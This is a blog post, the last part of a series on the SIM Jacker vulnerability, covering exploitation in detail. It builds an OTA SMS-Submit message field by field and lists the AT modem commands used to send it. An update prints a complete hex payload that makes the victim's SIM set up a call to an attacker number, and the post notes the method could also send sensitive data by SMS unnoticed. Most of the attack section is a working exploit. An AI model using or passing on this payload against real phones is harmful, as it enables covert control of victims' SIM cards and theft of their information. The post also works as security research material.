Dissecting SIM Jacker - Part 4 of 4 - Exploitation. Security Grind
Dissecting SIM Jacker - Part 4 of 4 - Exploitation. Security Grind
Search... Search
Dissecting SIM Jacker – Part 4 of 4: Exploitation.
Posted by Cristian R. January 16, 2020 in General
Other conditions for the attack to be successful is that the SIM Card itself has 2 capabilities or
services enabled, these are: Proactive UICC commands and Data Download to UICC, these
Your journey to anonymity
services are usually enabled by default on SIM Cards and that’s why they are not part of the starts here: [Kali + Whonix
Gateway + VPN].
main conditions.
August 15, 2018
As we saw in part 3, Over The Air messages are essential for exploiting the vulnerability, in
Exploiting Android
fact, the attack is executed by sending a speci c type of OTA message to the victim. Let’s Components: Loading
arbitrary URLs in a Webview.
remember the format of on an SMS-Submit message that will work as an OTA:
September 4, 2019
This is the format of an SMS-Submit message, that is, the message that originates from the
attacker and is sent through the USB Modem, so, let’s go piece by piece:
SCA = 0x00
Since this is an SMS-Submit, we start by setting bits number 0 and 1 to “01″, this is the MTI
(Message Type Identi er), other bits can be set to zero, except for bit number 6 which needs
to be set to “1“, this is UDHI (User Data Header Indicator), so, the binary coding for the rst
octet will be:
01000001 = 41 in hex.
FO = 0x41
MR = 0x00
So:
DA = 0x0B910516325476F8
PID = 0x7F
PID = 0xF6
UDL = XX
UDHL = 0x02
UDH = 0x7000
CPL = YYYY
CHL = 0x0D
SPI = 0x0000
KIc = 0x00
KID = 0x00
TAR = 0x505348
CNTR = 0x0000000000
PCNTR= 0x00
For security reasons, I won’t provide the entire hex representation of these
commands, as this could be used to abuse this vulnerability in the wild.
Proof of Concept
For our proof of concept below, we will be using bytecode commands that set up a call on
the device of our victim to another device controlled by the attacker.
The victim does not notice that he/she has received the message, but, a prompt is shown to
the user for accepting the call. Using bytecode commands, for instance, we could also make
the victim send short message with sensitive information without the user even noticing.
SMS-Submit
Therefore, our SMS-Submit message looks like this:
SMS-
Submit
exploitin
g SIM
Jacker.
Which is the same as shown below (where XX and YYYY are just the lengths of the afterwards
bytes):
0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121…
2D0C100383…2B00
screen /dev/ttyUSB0
AT+CMGF=0 (ENTER)
OK
And nally send the message (see the end of this article for an update on the full payload):
AT+CMGS=69 (ENTER)
>0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121
…2D0C100383…2B00 (CTRL + Z)
The Victim
The victim receives the message as an SMS-Deliver which, in turn, is transformed into an
SMS-PP Data Download. That transformed messaged is handled by the SIM Card (since it is
a binary message) and the SIM Card application (S@T Browser) executes the S@T/STK
commands speci ed in the message itself, in this case, that means setting up a call.
Do note that the victim does not notice that he/she has received an SMS, however, for
this speci c proof of concept, the victim receives a prompt for accepting the call (to an
attacker-controlled device), so, the victim will see something like the shown below (do note
that the attacker could also execute other actions like sending an SMS message with sensitive
information):
If the victim accepts the call, the victim will call the attacker-controlled number we have
set up in the Secured Data (S@T/STK Commands). We can see this in the following video:
0:00 / 0:28
UPDATE (07/12/2020)
It’s been a while since this publication, so, I thought I’d share the whole payload for the sake
of completeness. The AT command with the SMS-SUBMIT message is as shown below (with
length of 69):
AT+CMGS=69
>0041000B912143658709F37FF63802700000330D0000000050534800000000000042230121
020744382E3130353105160604313035312D0C1003830607912143658709F02B00
Do note that the target of the attack is speci ed as the rst instance of 2143658709F and the
second instance is the phone number the target SIM will call (since we are dealing with an
STK command to setup call).
12 Comments
Reply
The Deck Tag ID is set after “0x42230121” and followed by the rest of the
payload, however, I didn’t thought it was a good idea to give up the entire
payload, so, I cropped it.
Regards,
Cristian
Reply
Regards,
Cristian
Reply
Regards,
Cristian
Reply
Did you used, Deck > Card template tag > card? or just Deck > card? The
setup call has an Alpha identi er “Accept call?” ? The “2B00” is the Exit tag
without length?
Thanks, Pedro.
Reply
Leave a Reply
Your email address will not be published. Required elds are marked *
Comment
Я не робот
reCAPTCHA
Конфиденциальность - Условия использования
Post Comment
Contact Social
Cristian R.
[email protected]